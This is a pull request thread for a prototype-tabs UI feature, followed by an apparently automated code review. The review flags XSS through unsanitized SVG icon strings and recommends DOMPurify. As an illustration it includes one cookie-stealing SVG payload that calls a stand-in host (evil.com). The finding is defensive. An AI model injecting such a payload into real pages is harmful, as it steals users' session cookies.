Add new prototype page route

[7inh]

This pull request introduces a new feature for customizing the Staging tab button in the prototype tabs UI, along with several improvements to tab configuration and editing. The most important changes are the addition of a dedicated Staging tab editor, new customization options for the Staging tab button, and updates to tab visibility logic and serialization. These enhancements provide users with greater control over the appearance and behavior of the Staging tab.

Staging Tab Customization Feature:

• Added a new StagingConfig interface and integrated it into the CustomTabEditor component, enabling customization of the Staging tab button's label, icon visibility, icon URL, and style variant. [1] [2] [3]
• Implemented the StagingTabButton and StagingTabButtonPreview components for rendering and previewing the customized Staging tab button in both the editor and the tab bar. [1] [2]

Tab Editor Improvements:

• Added a new "Staging Tab" section to the CustomTabEditor dialog, allowing users to configure and preview Staging tab settings alongside custom and sidebar tabs. [1] [2]
• Updated the onSave handler and state management in CustomTabEditor to persist Staging tab configuration changes. [1] [2]

Tab Visibility and Serialization Logic:

• Improved tab migration logic to filter out ghost custom tabs (entries with empty plugin strings) when converting old tab formats, preventing display of tabs with missing metadata.
• Refined tab visibility handling and default tab selection in PrototypeTabs, ensuring the first visible tab (not necessarily 'overview') is used as the default when no tab is specified. [1] [2]

Tab Editor UX Fixes:

• Corrected tab hiding logic and UI: now only allows hiding of builtin tabs except 'overview', and updates disabled states for hide/show buttons accordingly. [1] [2]
• Fixed button styling and tab switching logic in the editor dialog for improved usability and consistency. [1] [2]

These changes collectively enhance the flexibility and user experience of managing prototype tabs, especially with the new Staging tab customization capabilities.

[NhanLuongBGSV]

Code Review — PR #334

Reviewer: Automated review via Claude Code

---

Critical Issues (Must Fix)

1. XSS Vulnerability — 12 instances of unsanitized dangerouslySetInnerHTML

SVG icon strings from user-configurable fields are injected directly into the DOM without sanitization across 6 files:

File	Instances
frontend/src/components/molecules/NewPrototypeTabs.tsx	1
frontend/src/components/molecules/PrototypeTabs.tsx	1
frontend/src/components/organisms/CustomTabEditor.tsx	6
frontend/src/components/organisms/StagingTabButton.tsx	1
frontend/src/components/organisms/StagingTabButtonPreview.tsx	1
frontend/src/components/organisms/TemplateForm.tsx	2

A model owner could store <svg onload="fetch('https://evil.com?c='+document.cookie)"> and it would execute for every user viewing the tabs.

Fix: The codebase already has the pattern in NavigationBar.tsx:

DOMPurify.sanitize(icon, { USE_PROFILES: { svg: true, svgFilters: true } })

All 12 instances need this sanitization applied.

---

Major Issues (Should Fix)

2. ~10 console.log statements left in production code

Mostly in TemplateForm.tsx and one in PageNewPrototypeDetail.tsx (line ~121) that fires on every render. These should be removed before merge.

3. Heavy code duplication

• renderTabIcon and tabItemClasses are copy-pasted between NewPrototypeTabs.tsx and PrototypeTabs.tsx. Should be extracted into a shared utility module.
• PageNewPrototypeDetail.tsx (~725 lines) duplicates large chunks from PagePrototypeDetail.tsx — staging config extraction, tab save handlers, addon select, plugin preloading. Consider extracting shared logic into custom hooks (e.g., usePrototypeTabConfig, useStagingConfig).

4. Fragile active tab detection

PrototypeTabs.tsx uses window.location.search.includes() for matching the active plugin tab — a substring match that can falsely match if one plugin slug is a prefix of another. Should use useSearchParams() for exact matching instead.

---

Minor Issues (Nice to Fix)

• Unused variable pluginId declared but never used in PageNewPrototypeDetail.tsx (line ~96)
• currentUser?.id! in FormNewPrototype.tsx (line ~180) — non-null assertion doesn't guard against undefined. Add a proper null check.
• Missing useEffect dependency — onModelChange not listed in deps array in FormNewPrototype.tsx (line ~105). Will cause stale closure if the callback changes.
• Error checked by string comparison — FormNewPrototype.tsx (lines ~117-120) uses string equality to detect the duplicate-name error. A typed error code would be more robust.
• Type inconsistency — StagingConfig.variant type includes 'secondary' but the UI style picker only offers ['tab', 'primary', 'outline', 'ghost']. Either add it to the picker or remove from the type.
• No route-level auth guard on /new-prototype — should verify this is intentional or add protection.

---

CI Status

⚠️ ECA check failing — author not covered by Eclipse Contributor Agreement.

---

Summary

The feature itself is well-structured and the approach is sound. However, the XSS vulnerability (12 instances) is a blocker. The debug logging and code duplication also need cleanup before this is ready to merge.

[NhanLuongBGSV]

@7inh pls improve above points